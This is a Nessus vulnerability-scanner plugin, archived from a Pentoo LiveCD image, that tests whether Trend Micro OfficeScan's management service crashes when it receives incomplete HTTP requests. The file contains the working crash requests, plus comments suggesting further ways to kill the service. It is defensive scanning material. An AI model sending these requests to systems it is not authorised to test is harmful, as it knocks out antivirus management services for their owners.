home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / tmosdos.nasl < prev    next >
Text File  |  2005-03-31  |  3KB  |  106 lines

  1. #
  2. # This script was written by Michel Arboi <arboi@alussinan.org>
  3. #
  4. # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
  5. #      Erik Anderson <eanders@carmichaelsecurity.com>
  6. #      Added BugtraqID and CVE
  7. #
  8. # GPL
  9. #
  10. # Status: untested
  11. #
  12. # References: 
  13. #
  14. # Date:  Mon, 17 Jul 2000 22:25:37 +0200
  15. # From: "Marc Ruef" <marc.ruef@computec.ch>
  16. # To: submissions@packetstormsecurity.org, news@securiteam.com, 
  17. #   bugtraq@securityfocus.com, ivan.schmid@astalavista.ch, jp@antionline.com
  18. # Subject: Trend Micro Officescan Denial of Service
  19. #
  20. # http://online.securityfocus.com/bid/1013
  21. #
  22. # TBD:
  23. # Sending garbage may also kill the service or make it eat 100% CPU
  24. # Opening 5 connections while sending garbage will kill it
  25.  
  26.  
  27. if(description)
  28. {
  29.  script_id(11059);
  30.  script_bugtraq_id(1013);
  31.  script_version("$Revision: 1.11 $");
  32.  script_cve_id("CAN-2000-0203");
  33.  script_name(english:"Trend Micro OfficeScan Denial of service");
  34.  
  35.  desc["english"] = "
  36. It was possible to kill the Trend Micro OfficeScan 
  37. antivirus management service by sending an incomplete 
  38. HTTP request.
  39.  
  40. Solution : upgrade your software
  41.  
  42. Risk factor : Medium";
  43.  
  44.  desc["francais"] = "
  45. Il a ΘtΘ possible de tuer le service d'administration
  46. OfficeScan de Trend Micro en lui envoyant une requΩte
  47. HTTP incomplΦte.
  48.  
  49. Solution : mettez α jour votre logiciel.
  50.  
  51. Facteur de risque : Moyen";
  52.  
  53.  script_description(english:desc["english"], francais:desc["francais"]);
  54.  
  55.  summary["english"] = "Crashes OfficeScan";
  56.  summary["francais"] = "Tue OfficeScan";
  57.  script_summary(english:summary["english"], francais:summary["francais"]);
  58.  
  59.  script_category(ACT_DENIAL);
  60.  
  61.  script_copyright(english: "This script is Copyright (C) 2002 Michel Arboi");
  62.  family["english"] = "Denial of Service";
  63.  family["francais"] = "DΘni de service";
  64.  script_family(english:family["english"], francais:family["francais"]);
  65.  script_dependencies("find_service.nes");
  66.  script_require_ports("Services/www", 12345);
  67.  exit(0);
  68. }
  69.  
  70. # The script code starts here
  71.  
  72. include("http_func.inc");
  73. include("misc_func.inc");
  74.  
  75. function check(port)
  76. {
  77.  soc = http_open_socket(port);
  78.  if(!soc)return(0);
  79.  
  80.  send(socket:soc, data: attack1);
  81.  r = http_recv(socket:soc);
  82.  http_close_socket(soc);
  83.  
  84.  soc = http_open_socket(port);
  85.  if(!soc) { security_warning(port); return(0); }
  86.  
  87.  send(socket:soc, data: attack2);
  88.  r = http_recv(socket:soc);
  89.  http_close_socket(soc);
  90.  
  91.  if (http_is_dead(port: port)) security_warning(port);
  92. }
  93.  
  94.  
  95.  # get or GET?
  96.  attack1 = string("get /  \r\n");
  97.  attack2 = string("GET /  \r\n");
  98.  
  99.  
  100. ports = add_port_in_list(list:get_kb_list("Services/www"), port:12345);
  101. foreach port (ports)
  102. {
  103.  check(port:port);
  104. }
  105.  
  106.